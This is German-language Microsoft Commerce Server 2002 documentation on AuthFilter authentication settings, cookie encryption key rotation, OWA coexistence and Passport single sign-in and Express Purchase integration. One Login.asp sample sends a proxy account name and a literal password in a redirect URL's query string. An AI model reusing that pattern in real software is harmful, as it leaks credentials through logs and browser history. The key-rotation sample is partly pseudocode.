  • Viele Authentifizierungseigenschaften werden auf Siteebene festgelegt. Weitere Informationen zum Konfigurieren von Authentifizierungseigenschaften auf Siteebene finden Sie unter Konfigurieren einer Anwendung.
  • Die folgenden Authentifizierungseigenschaften werden in der Anwendungsstandardkonfigurations-Ressource festgelegt: Siteticketoptionen, Sitedatenschutz-Optionen, Formularanmeldeoptionen sowie Timeout des Authentifizierungstickets des AuthManagers. Diese Eigenschaften werden angewendet, wenn Sie eine Site mithilfe der Commerce Server-Lösungssites entwickeln. Informationen zur Konfiguration dieser Eigenschaften der Anwendungsstandardkonfiguration finden Sie unter Konfigurieren der Anwendungsstandardkonfigurations-Ressource.

So konfigurieren Sie die Eigenschaften der CS-Authentifizierungsressource

  1. Erweitern Sie Commerce Server-Manager, und klicken Sie dann auf Globale Ressourcen.
  2. Klicken Sie im rechten Fensterausschnitt mit der rechten Maustaste auf die Ressource CS-Authentifizierung(Sitename), wobei (Sitename) die zu konfigurierende Site bezeichnet. Klicken Sie dann auf Eigenschaften.

    Das Dialogfeld Eigenschaften von CS-Authentifizierung(Sitename) wird angezeigt.

  3. Wählen Sie im Feld Eigenschaften eine Eigenschaft aus, für die Sie einen Wert festlegen möchten.
  4. Geben Sie den neuen Wert im Feld Ausgewählter Eigenschaftswert ein, und klicken Sie auf OK.

Die folgende Tabelle enthält die CS-Authentifizierungseigenschaften, die auf globaler Ressourcenebene für eine Commerce Server-Site festgelegt werden können.

Eigenschaft | Beschreibung
Anmeldeformular Der Name des Formulars, das für die Benutzeranmeldung verwendet werden soll. Sie können folgende Angaben machen:
  • Den relativen Pfad zur Seite Login.asp. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zur Seite Login.asp.

Wenn Sie eine SSL-Verbindung (Secure Sockets Layer) verwenden, müssen Sie den vollständigen Pfad zur Seite Login.asp angeben, z. B.:

https://www.microsoft.com/authfilter/login.asp.
Anmeldeversuche Gibt an, wie oft Benutzer zur Eingabe von Benutzername und Kennwort aufgefordert werden, bevor eine Aufforderung angezeigt wird, sich mit dem Kundendienst in Verbindung zu setzen.

Diese Eigenschaft gilt nur für die Windows-Authentifizierung.
Größe des Kennwortzwischenspeichers | Die Höchstanzahl an Benutzern, deren Anmeldeinformationen im Kennwortcache von AuthFilter gespeichert werden können. Diese Eigenschaft gilt nur für die Windows-Authentifizierung.
Kennwortzwischenspeicher-Lebensdauer | Der Zeitraum in Minuten, während dessen die Anmeldeinformationen im Kennwortcache gespeichert bleiben. Diese Eigenschaft gilt nur für die Windows-Authentifizierung.
AuthProfile-Name | Der Name des Profilobjekts, das bei der Partitionierung der Datenquelle für das Profilsystem verwendet werden soll. Wenn Sie das Standardschema verwenden, muss dieser Wert Profile Definitions.UserObject sein.
AuthFilter Helper-Ordner | Der Name des Ordners, in dem AuthFilter unterstützende Dateien speichert. Alle zu AuthFilter gehörenden Dateien müssen in diesem Ordner gespeichert werden. Das Standardunterverzeichnis ist \AuthFiles. Für alle AuthFilter-Dateien muss der anonyme Zugriff aktiviert sein.
Fehlerformular Der Name des Formulars, das bei einer Zugriffsverweigerung verwendet wird. Sie können folgende Angaben machen:
  • Den relativen Pfad zum Formular. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zum Formular.
Hilfeformular Der Name des Formulars mit Hilfeinformationen zur Anmeldung. Sie können eine der folgenden Angaben machen:
  • Den relativen Pfad zum Formular. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zum Formular.
Formular für interne Fehler Der Name des Fehlerformulars, das bei Auftreten eines internen Fehlers angezeigt werden soll. Sie können folgende Angaben machen:
  • Den relativen Pfad zum Formular. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zum Formular.
Formular "Keine Cookies" Name des Formulars, das angezeigt werden soll, wenn Cookies auf dem Browser deaktiviert sind oder von diesem nicht unterstützt werden. Sie können folgende Angaben machen:
  • Den relativen Pfad zum Formular. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zum Formular.
Formular "AutoCookie" Der Name des Formulars, zu dem umgeleitet werden soll, wenn Autocookies aktiviert sind. Sie können folgende Angaben machen:
  • Den relativen Pfad zum Formular. Verwendet http://<servername> und den Ordner "AuthFilter Helper".
  • Den vollständigen Pfad zum Formular.
Profilcookie-Ablaufdatum | Das Beendigungsdatum, nach dem das Cookie seine Gültigkeit verliert.
Verschlüsselung aktivieren | Legen Sie diese Eigenschaft zur Verschlüsselung von Cookiedaten auf Ebene der Commerce-Site fest. Anweisungen finden Sie unter Konfigurieren einer Anwendung.
Schlüssel für Cookiedaten | Der Schlüssel für die Ver- oder Entschlüsselung von Cookiedaten. Anweisungen zum Erstellen eines neuen Verschlüsselungsschlüssels finden Sie unter Erstellen eines neuen Cookie-Verschlüsselungsschlüssels.

Hinweise

  • Alle zu AuthFilter gehörigen Dateien müssen sich in einem Ordner befinden. Dieser wird in der Eigenschaft AuthFilter Helper-Ordner festgelegt. Das Standardunterverzeichnis ist \AuthFiles. Für alle AuthFilter-Dateien muss der anonyme Zugriff aktiviert sein.
  • Wenn Sie AuthFilter einsetzen und eine globale CS-Authentifizierungseigenschaft ändern, müssen Sie Internetinformationsdienste (IIS) 5.0 mit den Befehlen net stop und net start neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

Konfigurieren der Anwendungsstandardkonfigurations-Ressource

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)


Exchange2000 OutlookWebAccess (OWA)-Standardauthentifizierung

Feedback zu dieser Seite senden Commerce Server 2002

Exchange 2000 Outlook Web Access (OWA)-Standardauthentifizierung

Outlook Web Access (OWA) ist ein virtueller HTTP-Server (Hypertext Transfer Protocol), der bei der Installation von Microsoft Exchange Server 2000 installiert und konfiguriert wird. OWA für Exchange Server 2000 sichert den Zugriff auf eine Site mithilfe der IIS-Standardauthentifizierungsmethode. Bei dieser Authentifizierungsmethode wird die IIS-Servervariablen AUTH_USER auf den Benutzername gesetzt. OWA stellt mithilfe der Variablen AUTH_USER fest, welches Exchange 2000-Postfach für die Sitzung geöffnet werden soll.

Weitere Informationen zu OWA finden Sie in den Dokumentationen zu Microsoft Exchange Server 2000 und Internetinformationsdienste.

Entpacken Sie die Commerce Server-Site in die Standard-Websiteebene (eine Ebene oberhalb des virtuellen Stammverzeichnisses der Exchange 2000 OWA-Anwendung). In der Standardeinstellung wird die Exchange 2000 OWA-Anwendung in ein virtuelles Verzeichnis namens Exchange innerhalb der Standardwebsite installiert.

Der Schutz von AuthFilter setzt auf Ebene des virtuellen Stammverzeichnisses an. Deshalb muss die Exchange 2000 OWA-Anwendung eine Ebene unterhalb der von AuthFilter gesicherten Siteebene installiert werden, damit Anforderungen für die Exchange-Site abgefangen werden können.

Hinweis

  • Die Commerce-Site muss auf einer Ebene oberhalb der Exchange Server-Site installiert werden.

So legen Sie die Windows-Authentifizierung mit AuthFilter fest

  1. Erweitern Sie Commerce Server-Manager.
  2. Klicken Sie mit der rechten Maustaste auf die gewünschte Anwendung, und klicken Sie dann auf Eigenschaften.
  3. Deaktivieren Sie das Kontrollkästchen Pfad des Cookies zur Anwendung festlegen.
  4. Überprüfen Sie auf der Registerkarte Allgemein die Einstellung der folgenden Werte:
    • Unter IIS-Anwendungspfad ist lediglich ein Schrägstrich (/) angegeben
    • Unter Authentifizierungsfilter ist Windows-Authentifizierung angegeben.
  5. Klicken Sie auf OK.

So überprüfen Sie die Einstellungen für das virtuelle Stammverzeichnis der Site in IIS

  1. Erweitern Sie Internetdienste-Manager.
  2. Klicken Sie mit der rechten Maustaste auf Standardwebsite, und klicken Sie dann auf Eigenschaften.
  3. Überprüfen Sie auf der Registerkarte Basisverzeichnis die Einstellung des folgenden Wertes:
    • Unter Anwendungsname ist lediglich ein Schrägstrich (/) angegeben.
  4. Stellen Sie auf der Registerkarte ISAPI-Filter sicher, dass sich der Eintrag CSAuthFilter in der Reihenfolge vor dem Exchange-ISAPI-Filter befindet.
  5. Klicken Sie auf OK.

Siehe auch

Aktivieren der Windows-Authentifizierung


Einstellen des Sicherheitsmodus auf dem Domänencontroller

Für Domänenbenutzer muss auf allen Commerce Server-Sites der Windows-Authentifizierungsmodus aktiviert sein.

So stellen Sie den Sicherheitsmodus auf dem Domänencontroller ein

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung, und klicken Sie anschließend auf Sicherheitsrichtlinie für Domänencontroller.
  2. Erweitern Sie in der linken Spalte die Einträge Sicherheitseinstellungen und Lokale Richtlinien, und klicken Sie anschließend auf Zuweisen von Benutzerrechten.

    Die Richtlinien für die Zuweisung von Benutzerrechten werden im Bereich Richtlinie im Bildschirm Sicherheitsrichtlinie für Domänencontroller angezeigt.

  3. Doppelklicken Sie im Bereich Richtlinie auf Lokale Anmeldung.

    Das Dialogfeld Sicherheitsrichtlinie wird angezeigt.

  4. Klicken Sie im Dialogfeld Sicherheitsrichtlinie auf Hinzufügen.

    Das Dialogfeld Benutzer oder Gruppe hinzufügen wird angezeigt.

  5. Geben Sie im Dialogfeld Benutzer oder Gruppe hinzufügen im Textfeld Benutzer- und Gruppennamen entweder <Domäne>\Domänen-Benutzer ein, wobei <Domäne> die Active Directory-Domäne bezeichnet, oder klicken Sie auf Durchsuchen, um die Gruppe Domänen-Benutzer hinzuzufügen.
  6. Klicken Sie auf OK, um das Dialogfeld Benutzer oder Gruppe hinzufügen zu schließen.
  7. Die Gruppe <Domäne>\Domänen-Benutzer wird im Textfeld im Dialogfeld Sicherheitsrichtlinie angezeigt.
  8. Klicken Sie auf OK, um das Dialogfeld Sicherheitsrichtlinie zu schließen.

Siehe auch

Aktivieren von AuthFilter für die Supplier-Lösungssite


Erstellen eines neuen Cookie-Verschlüsselungsschlüssels

Die CS-Authentifizierungsressource verwendet einen Schlüssel für die Ver- und Entschlüsselung von Cookiedaten. In der Standardeinstellung wird nach dem Entpacken einer Site der Schlüssel aus dem Paket verwendet. Er befindet sich im Paket in der Datei AuthSetup.ini. Wenn kein Schlüssel vorhanden ist, erstellt Commerce Server Site Packager mithilfe von AuthManager.GenerateEncryptionKey() einen neuen Schlüssel.

Beim Entpacken einer Site wird jedes Mal ein neuer Schlüssel erstellt. Wenn Sie der CS-Authentifizierungsressource einen eigenen Schlüssel beifügen, erhalten Sie beim Entpacken dieses benutzerdefinierten Pakets jedes Mal denselben Schlüssel. Wenn jedes Mal beim Entpacken dieser Site ein neuer oder separater Schlüssel erstellt werden soll, verwenden Sie die Schaltfläche Neuen Verschlüsselungsschlüssel generieren in Commerce Server-Manager.

Ändern Sie den Schlüssel nicht, solange die Site aktiv ist. Wenn Sie einen Schlüssel aktualisieren, während eine Site aktiv ist, verlieren vorhandene MSCSAuth-Tickets ihre Gültigkeit, und die Benutzer müssen sich neu anmelden. Ein Ticket kann nur mit demselben Schlüssel ver- und wieder entschlüsselt werden.

Unter Commerce Server 2000 konnten keine persistenten Cookies entschlüsselt werden, wenn die Schlüssel zum Ver- und Entschlüsseln von Tickets geändert wurden. Verwenden Sie die GetUserIDFromCookieAndKey-Methode (englisches Thema), um die in Commerce Server 2000 verschlüsselten Tickets zu entschlüsseln. Sie können Ihre Site anpassen, sodass ein neues Ticket ausgegeben wird und die Informationen aus dem alten Ticket nicht verloren gehen.

Hinweis

  • Ehe Sie einen vorhandenen Schlüssel ändern, müssen Sie eine Sicherungskopie der Schlüsseldatei erstellen. Commerce Server erstellt keine Sicherungskopie für Sie. Nach dem Erstellen des neuen Schlüssels kann der alte nicht mehr abgerufen werden.

So erstellen Sie einen neuen Schlüssel

Wichtig

  • Wenn Ihre Site in einer Webfarm implementiert ist, lesen Sie das Thema Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets durch, bevor Sie einen neuen Schlüssel für Cookies erstellen.
  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf Eigenschaften.
  3. Klicken Sie im unteren Teil des Dialogfelds auf Neuen Verschlüsselungsschlüssel generieren.
  4. Klicken Sie im Bestätigungsdialogfeld auf OK.
  5. Starten Sie IIS neu.

    Anweisungen dazu finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Siehe auch

AuthManager::GenerateEncryptionKey (englisches Thema)

AuthManager.GetUserIDFromCookie (englisches Thema)

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

Neustarten von IIS und Commerce Server-Diensten


Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets

Verwenden Sie die Verschlüsselung mit einem dynamischen Schlüssel zum Ändern des Schlüssels, der zur Ver- und Entschlüsselung von Tickets für eine Site eingesetzt wird. Möglicherweise empfiehlt es sich, den Schlüssel für eine Site zu ändern, wenn z. B. ein leitender Angestellter das Unternehmen verlässt, eine externe Sicherheitslücke entdeckt wurde oder einfach als Routinemaßnahme.

Wenn der Verschlüsselungsschlüssel für eine Site geändert wird, muss IIS neu gestartet werden, damit AuthFilter sich mit dem neuen Schlüssel erneut initialisieren kann. Anweisungen zum Ändern Ihres Verschlüsselungsschlüssels finden Sie unter Erstellen eines neuen Cookie-Verschlüsselungsschlüssels.

Wenn die Site nicht Teil einer Webfarm ist, sind keine weiteren Schritte erforderlich. Wenn der Schlüssel jedoch in einer Webfarm geändert werden soll, befolgen Sie die unten aufgeführten zusätzlichen Schritte.

Verschlüsselung mit einem dynamischen Schlüssel in einer Webfarm

Nachdem Sie den Verschlüsselungsschlüssel in einer Webfarm geändert haben, müssen Sie IIS auf jedem der Webserver neu starten. Hierdurch wird AuthFilter auf jedem der Webserver mit dem neuen Schlüssel erneut initialisiert. Während des Neustarts der Server kann es jedoch vorkommen, dass eine Anforderung mit einem Ticket, das mit dem alten Schlüssel verschlüsselt wurde, auf einen Server umgeleitet wird, der bereits den neuen Schlüssel verwendet. Wenn eine umgeleitete Anforderung bei diesem Server eintrifft, ist der dort bereits mit dem neuen Schlüssel initialisierte AuthFilter nicht in der Lage, das enthaltene Ticket zu entschlüsseln. Das in der umgeleiteten Anforderung enthaltene Ticket wurde nämlich mithilfe des alten Schlüssels verschlüsselt. Da AuthFilter das Ticket in der Anforderung nicht entschlüsseln kann, wird diese auf die Anmeldeseite umgeleitet.

Um die Umleitung von authentifizierten Benutzer auf die Anmeldeseite zu verhindern, muss die Anmeldeseite nach dem Ändern des Schlüssels um neuen Code erweitert werden, der es ermöglicht, die Benutzer-ID aus dem eingehenden, mithilfe des alten Verschlüsselungsschlüssel verschlüsselten Ticket abzurufen. Der neue Code muss dann ein neues, mit dem neuen Schlüssel verschlüsseltes Ticket an den Benutzer ausgegeben.

Erweitern Sie die Anmeldeseite um Code, der auf die GetUserIDFromCookieAndKey-Methode der AuthManager-API zugreift, um die Verschlüsselung mit einem dynamischen Schlüssel in einer Webfarm zu unterstützen. Im Folgenden finden Sie einen Ausschnitt aus der Datei Login.asp, die zur Unterstützung dieses Szenarios angepasst wurde:

Dim sUserID

On Error Resume Next

sUserid = auth.GetUserid(enumMSCS_ProfileTicketType)

if (err.number = ...)  get the error codes for NTE_BAD_DATA ,  NTE_BAD_KEY  , NTE_BAD_HASH
{
Dim sCookie, sOldEncryptionKey
sOldEncryptionKey = ** retrieve this from whereever you save old encryption keys
sCookie = Request.Cookies("MSCSAuth")
sUserid = auth.GetUseridFromCookieAndKey(sCookie, sOldEncryptionKey)

if Not ((err.number = ...)  get the error codes for NTE_BAD_DATA ,  NTE_BAD_KEY  , NTE_BAD_HASH)
{
auth.SetAuthTicket(sUserID, bCookieSupport, nTimeWindow)
}
else
{
*** rediret to reforce a login.
}

*** note you can try more than one old key if you have saved more than one old encryption key
}

On Error Goto 0

Als letzten Schritt vor dem Ändern des Verschlüsselungsschlüssels müssen Sie Ihre IIS-Protokolle mithilfe des DTS-Webserverprotokollimport-Task in das Data Warehouse importieren. Wenn Sie die Daten nicht vor dem Ändern des Schlüssels importieren, kann der Webserverprotokollimport-Task die in den Protokollen enthaltenen Tickets nicht entschlüsseln. Dies ist deshalb nicht möglich, weil der Webserverprotokollimport-Task versucht, die in der Protokolldatei enthaltenen Tickets mithilfe des aktuellen, in der Verwaltungsdatenbank gespeicherten Verschlüsselungsschlüssels zu decodieren.

Hinweis

  • Sie benötigen den gezeigten Beispielcode und müssen die alten Verschlüsselungsschlüssel an einem Speicherort ablegen, von dem sie von Ihrer Anwendung abgerufen werden können. Diese alten Verschlüsselungsschlüssel können zu einem späteren Zeitpunkt dazu verwendet werden, Tickets zu entschlüsseln, die mithilfe des alten Schlüssels verschlüsselt wurden. Wie dies geschieht, bleibt der Anwendung überlassen. Es kann jedoch nur die Benutzer-ID aus dem alten Ticket abgerufen werden. Alle benutzerdefinierten Eigenschaften gehen verloren.

Siehe auch

Neustarten von IIS und Commerce Server-Diensten


Konfigurieren von "Login.asp", sodass eine GUID verwendet wird

Sie können die Seite Login.asp um die Verarbeitung der benutzerdefinierten guid-Eigenschaft erweitern. Diese Eigenschaft im Ticket eines Benutzers enthält eine GUID-Zeichenfolge (Globally Unique Identifier, global eindeutiger Bezeichner), um Ihre Site vor DDoS-Angriffen (Distributed Denial of Service) zu schützen.

Um eine GUID im Ticket eines Benutzers abzulegen, müssen Sie die Anmeldeseite Login.asp für Lösungssites modifizieren. Nachdem die GUID im Ticket abgelegt wurde, verwendet AuthFilter diese GUID zur Suche nach dem Benutzerkennwort im AuthFilter-Kennwortcache. Der GUID wird dem Ticket mithilfe der SetProperty-Methode des AuthManager-Objekts als benutzerdefinierte Eigenschaft hinzugefügt. Zusätzlich wird diese Eigenschaft an die Anforderungszeichenfolge des umgeleiteten URLs angehängt.

Nachdem sie gesetzt ist, verwendet AuthFilter die GUID-Eigenschaft und nicht die Benutzer-ID für den Zugriff auf den Kennwortcache. Wenn sich ein Benutzer mit einer identischen Benutzer-ID, aber einem anderen Kennwort anmeldet, wird er von AuthFilter als ein anderer Benutzer erkannt. Anstatt das ursprüngliche Kennwort zu überschreiben, wird ein neuer Eintrag im Cache erstellt. AuthFilter führt dann dieselben Schritte wie bei einem neuen Benutzer durch. Ein Codebeispiel zu diesem Verfahren finden Sie unter Code to Set a Custom Property on a Ticket (englisches Thema).

Ein Beispiel für die Seite Login.asp, die gegen DDoS-Angriffe geschützt wurde, finden Sie unter "Login.asp"-Code für die Supplier-Lösungssite.

Im folgenden Beispiel sind die an der Datei Login.asp vorzunehmenden Änderungen durch einen Pfeil neben der Zeile gekennzeichnet.

' after setting AuthTicket
     objAuth.SetAuthTicket strUserID, True, 90
  objAuth.SetProperty 2, "guid", strGUID   change this line

' at the redirect in both the FirstTime and WebFarm paths:
      strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
      strRetAsp = strRetAsp + "proxyuser="
      strRetAsp = strRetAsp + "MyDomain\User1"
      strRetAsp = strRetAsp + "&proxypwd="
      strRetAsp = strRetAsp + "password"
   strRetAsp = strRetAsp + "&guid="  change this line
   strRetAsp = strRetAsp + strGUID   change this line

Die Variable strGUID ist eine GUID/UniqueID, die z. B. vom GUIDGen-Objekt erzeugt wird. Beachten Sie, dass es sich bei der GUID um einen eindeutigen Bezeichner handeln muss.

Siehe auch

"Login.asp"-Code für die Supplier-Lösungssite

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)

Code to Set a Custom Property on a Ticket (englisches Thema)

Code to Generate a GUID (englisches Thema)

Verwenden von Proxykonten in einer Webfarm

Hinzufügen einer neuen Eigenschaft zu einer Profildefinition


Integrieren mit Passport

Microsoft Passport bietet die folgenden zwei Dienste, die beide in eine Microsoft Commerce Server-Website integriert werden können. Diese Dienste können entweder separat oder gemeinsam in eine Site integriert werden:

  • Passport Single Sign In (Einzelanmeldung). Passport bietet einen Authentifizierungsdienst, der es Passport-Benutzern ermöglicht, mit nur einem Benutzernamen und Kennwort für den authentifizierten Zugriff auf jede beliebige Website mit Passport-Authentifizierung zuzugreifen.
  • Passport Express Purchase. Passport bietet einen Wallet Service, mit dem Passport-Benutzer ihre Kreditkartendaten und Adressinformationen in Passport speichern können. Diese Informationen stehen dann in allen Websites zur Verfügung, die Passport Wallet verwenden.

Die Integration von Passport bietet Kunden große Vorteile, da sich diese nur noch einen Benutzernamen und ein Kennwort merken müssen, bei Einkäufen über das Internet nicht mehr jedes Mal ihre Kreditkartendaten sowie ihre Anschrift eingeben müssen und zudem ihre personengebundenen Daten auf weniger Servern gespeichert sind. Außerdem müssen Websites, die sich an Passport beteiligen möchten, standardisierte Datenschutzrichtlinien erfüllen.

Für Händler ist die Integration von Passport vorteilhaft, da sich aufgrund der verbesserten Benutzerfreundlichkeit vermutlich mehr Kunden in einer Website als Benutzer registrieren lassen und weniger Warenkörbe aufgegeben werden. Aufgrund der standardisierten Datenschutzrichtlinie sind die Benutzer vermutlich auch eher bereit, personengebundene Daten freizugeben.

Diese beiden Integrationsmöglichkeiten werden in diesem Abschnitt separat betrachtet.

Dieser Abschnitt beinhaltet folgende Themen:

  • Integration der Einzelanmeldung mit Passport. Beschreibt den Passport-Authentifizierungsdienst und die Möglichkeiten der Integration in eine Commerce Server-Website.
  • Verwenden von Secure Sockets Layer mit Microsoft Passport. Erläutert, dass Sie SSL verwenden müssen, da Microsoft Passport SSL benötigt, um beim Abschließen einer Bestellung Wallet-Informationen an die Site zu übertragen. Enthält Links zu weiteren Informationen unter www.microsoft.com.
  • Integration von Passport Express Purchase. Beschreibt den Passport Wallet Service und die Möglichkeiten der Integration in eine Commerce Server-Website.
  • Nächste Schritte bei der Integration mit Passport. Hier erfahren Sie, wo Sie weiterführende Informationen zu Passport finden und wie Sie Passport in eine Commerce Server-Website integrieren können.


Integration der Einzelanmeldung mit Passport

Microsoft Commerce Server 2002 ermöglicht die Trennung zwischen Authentifizierung und Profilen. Commerce Server-Profile können auch dann, wenn Commerce Server nicht für die Authentifizierung verwendet wird, nach dem Authentifizierungsvorgang verwendet werden. Aufgrund dieser Trennung können der Single Sign In-Authentifizierungsdienst von Microsoft Passport integriert und die in Commerce Server bereitgestellten, integrierten Authentifizierungsmodi ersetzt werden, wobei die integrierten Funktionen des Commerce Server-Profildienstes nach wie vor vollständig zur Verfügung stehen.

Schritte der Passport-Authentifizierung

Die Passport-Authentifizierung umfasst die folgenden Schritte:

  1. Ein authentifizierter Benutzer versucht, auf eine geschützte Seite in der Website eines Händlers zuzugreifen.
  2. Der Code auf der Seite ruft das Passport-Manager-Objekt auf, welches den Browser des Benutzers an die Anmeldeseite der Passport-Website umleitet. Der Umleitungs-URL beinhaltet eine Abfragezeichenfolge, die unter anderem einen Rückgabe-URL enthält.
  3. Der Benutzer gibt seine standardmäßigen Passport-Anmeldeinformationen auf der Anmeldeseite der Passport-Website ein.
  4. Sofern die Anmeldeinformationen des Benutzers akzeptiert werden, leitet die Passport-Website den Browser des Benutzers einschließlich verschlüsselter Passport-Profildaten in der Abfragezeichenfolge wieder an die Händlerwebsite zurück.
  5. Das Passport-Manager-Objekt analysiert sowie bereinigt die Abfragezeichenfolgen und sendet einen Sitzungscookie an den Browser des Benutzers.
  6. Sitzungs- oder persistent gespeicherte Cookies werden je nach Anmeldevoreinstellungen des Benutzers festgelegt.
  7. Die nachfolgende Authentifizierung für den Zugriff auf die geschützten Händlerseiten basiert auf den Passport-Cookies.

Empfohlene Integrationsstrategie

Die empfohlene Vorgehensweise für die Integration der Passport-Authentifizierung beinhaltet die integrierte Verwendung des Commerce Server-Profildienstes mit dem Passport Single Sign In-Authentifizierungsdienst. Damit bleiben die Vorteile der integrierten Integration des Commerce Server-Profildienstes und der anderen Features von Commerce Server erhalten.

Nachdem sich ein Benutzer erfolgreich mithilfe von Passport authentifiziert hat, wird das entsprechende Benutzerprofil vom Commerce Server-Profildienst abgefragt und für die restliche Sitzung verwendet. Für diese Form der Integration wird die folgende Herangehensweise empfohlen:

  • Das Benutzerprofil muss verändert werden, sodass es eine neue Eigenschaft namens PassportID enthält. Für diese Eigenschaft wird die vom Passport-Dienst verwendete 64 Bit lange eindeutige Benutzer-ID (PUID, Pairwise Unique ID) festgelegt. Weitere Informationen zu PUIDs finden Sie in der Passport SDK-Dokumentation.
  • Nach der erfolgreichen Authentifizierung eines Benutzers in Passport fragen Sie die Eigenschaften MemberIDHigh und MemberIDLow aus dem Passport-Hauptprofil ab, und errechnen Sie die entsprechende PUID mithilfe folgender Formel:
    dim sPassportKey, sHex
sHex = Hex(nMemberIDHigh)
sPassportKey = String(8 - len(sHex), "0") & sHex
sHex = Hex(nMemberIDLow)
sPassportKey = sPassportKey & String(8 - len(sHex), "0") & sHex

    Ausführlichere Beispiele für die Berechnung der PUID finden Sie in der Passport-Website unter http://go.microsoft.com/fwlink/?LinkId=6740.

  • Verwenden Sie die errechnete PUID, um das entsprechende Commerce Server-Benutzerprofil abzufragen. Verwenden Sie dafür in etwa den folgenden Code:
    Dim csUserProfile
Set csUserProfile = ProfileService.GetProfileByKey( _
                                      "PassportID", _
                                      sPassportKey, _
                                        "UserObject")
  • Legen Sie den Tickettyp und die Benutzer-ID für diesen Benutzer mithilfe des AuthManager-Objekts fest. Die beiden folgenden Codezeilen aus der Funktion LogOnUser in der Datei Include\Profilelib.asp des Passport-Sitelets im Commerce Server SDK zeigen, wie Sie diese Werte festlegen können:
    objAuthMgr.SetAuthTicket strUserName, fCookieSupport, strTimeout
objAuthMgr.SetUserID enumMSCS_ProfileTicketType, _
                     objProfile.Fields(USER_ID).Value

    Weitere Informationen dazu finden Sie unter AuthManager.SetAuthTicket bzw. AuthManager.SetUserID.

  • Wenn das entsprechende Commerce Server-Benutzerprofil nicht gefunden wird, sollte für den neuen Benutzer ein Profil erstellt werden, das die PUID des Benutzers in der PassportID-Eigenschaft speichert. Verwenden Sie dafür in etwa den folgenden Test:
    If ( csUserProfile Is Nothing ) Then
    ' Verwenden Sie die Standardmethode, um hier neue
    ' Benutzerprofile anzulegen, die wahrscheinlich Aufrufe
    ' an GenID.GenGUIDString und ProfileService.CreateProfile umfasst.
    ' Denken Sie daran, die PUID zu speichern, damit beim nächsten
    ' Mal das richtige Profil gespeichert werden kann. Zum Beispiel:
    CreateNewUserProfile(sPassportKey)
End If
  • Wenn das entsprechende Commerce Server-Benutzerprofil gefunden wird, können Sie die aktuellen Passport-Profildaten auch mit den entsprechenden Daten im Commerce Server-Profil synchronisieren. Auf diese Weise erhält der Benutzer die erwarteten Ergebnisse: Änderungen an seinen personenbezogenen Daten in der Passport-Website werden auch in teilnehmenden Passport-Händler-Websites verwendet.

    Das Passport-Profil enthält eine ProfileVersion-Eigenschaft, mit deren Hilfe Sie feststellen können, ob sich die Profildaten des Benutzers seit seinem letzten Besuch geändert haben.

Sie können auch eine Authentifizierungslösung entwickeln, die für Passport-Benutzer die Einzelanmeldung anbietet und für Nicht-Passport-Benutzer die Commerce Server-Authentifizierungsverfahren verwendet.


Verwenden von Secure Sockets Layer mit Microsoft Passport

Microsoft Passport enthält das Feature Passport Express Purchase, mit dem Passport-Benutzer ihre Kreditkartendaten und Adressinformationen in Passport speichern können. Diese Informationen stehen dann in allen Websites zur Verfügung, die Passport Express Purchase verwenden.

Wenn Sie mit Microsoft Passport arbeiten, so müssen Sie auch Secure Sockets Layer (SSL) verwenden. SSL ist für Passport erforderlich, um beim Abschließen einer Bestellung Wallet-Informationen an die Site zu senden.

Wenn Sie einen Entwicklungscomputer mit der Site einrichten und den Abschluss der Bestellung beschleunigen möchten, benötigen Sie ein SSL-Zertifikat. Informationen zur Einrichtung von SSL finden Sie in den folgenden beiden Websites:

  • Step-by-Step Guide to Setting up a Certification Authority http://go.microsoft.com/fwlink/?LinkId=6741
  • Step-by-Step Guide to Automatic Certificate Request for Computers http://go.microsoft.com/fwlink/?LinkId=6742


Integration von Passport Express Purchase

Microsoft Passport enthält ein Wallet-Feature, über das die Informationen, die für einen Benutzer zum Durchführen von Einkäufen über das Internet unentbehrlich sind (z. B. Kreditkartennummer und Lieferanschrift), an einem zentralen Ort, nämlich der Passport-Website, gespeichert werden können. Händler, die am Passport-Programm teilnehmen, können diese Informationen von der Passport Wallet-Website abrufen, sodass der Benutzer die Daten nicht bei jedem Einkauf erneut eingeben muss. Im Gegensatz zum Passport Single Sign In-Authentifizierungsdienst müssen für den Passport Express Purchase-Dienst keine Passport-spezifischen COM-Objekte (Component Object Model, COM) auf dem Webserver des Händlers installiert sein. Händler können den Passport Express Purchase-Dienst entweder mit oder ohne die Einzelanmeldung für die Authentifizierung nutzen.

Passport Express Purchase-Verarbeitungsschritte

Die Passport Express Purchase-Verarbeitung umfasst die folgenden Schritte:

  1. Ein Benutzer schließt eine Passport Express Purchase-Bestellung auf einer Seite in einer Händlerwebsite ab.
  2. Der Browser des Benutzers wird an die Wallet-Seite der Passport-Website umgeleitet. Der Umleitungs-URL beinhaltet eine Abfragezeichenfolge, die einen Rückgabe-URL, Informationen zu Kreditkartenzahlungen sowie Co-Brandingdaten enthält.
  3. Wenn nicht bereits bei Passport angemeldet, wird der Benutzer zur Eingabe der standardmäßigen Passport-Anmeldeinformationen aufgefordert.
  4. Auf der Wallet-Seite wählt der Benutzer aus, mit welcher Kreditkarte er zahlen möchte, gibt die Rechnungs- und Lieferadresse an usw. Der Benutzer kann neue Kreditkarteninformationen bzw. eine andere Lieferadresse eingeben oder in Wallet bereits vorhandene Einträge bearbeiten.
  5. Die Passport-Website leitet den Browser des Benutzers wieder zurück an die Händlerwebsite, auf der ein Formular angezeigt wird, in dem die ausgewählten Wallet-Informationen eingetragen sind, die mithilfe von ECML (Electronic Commerce Markup Language) formatiert wurden.
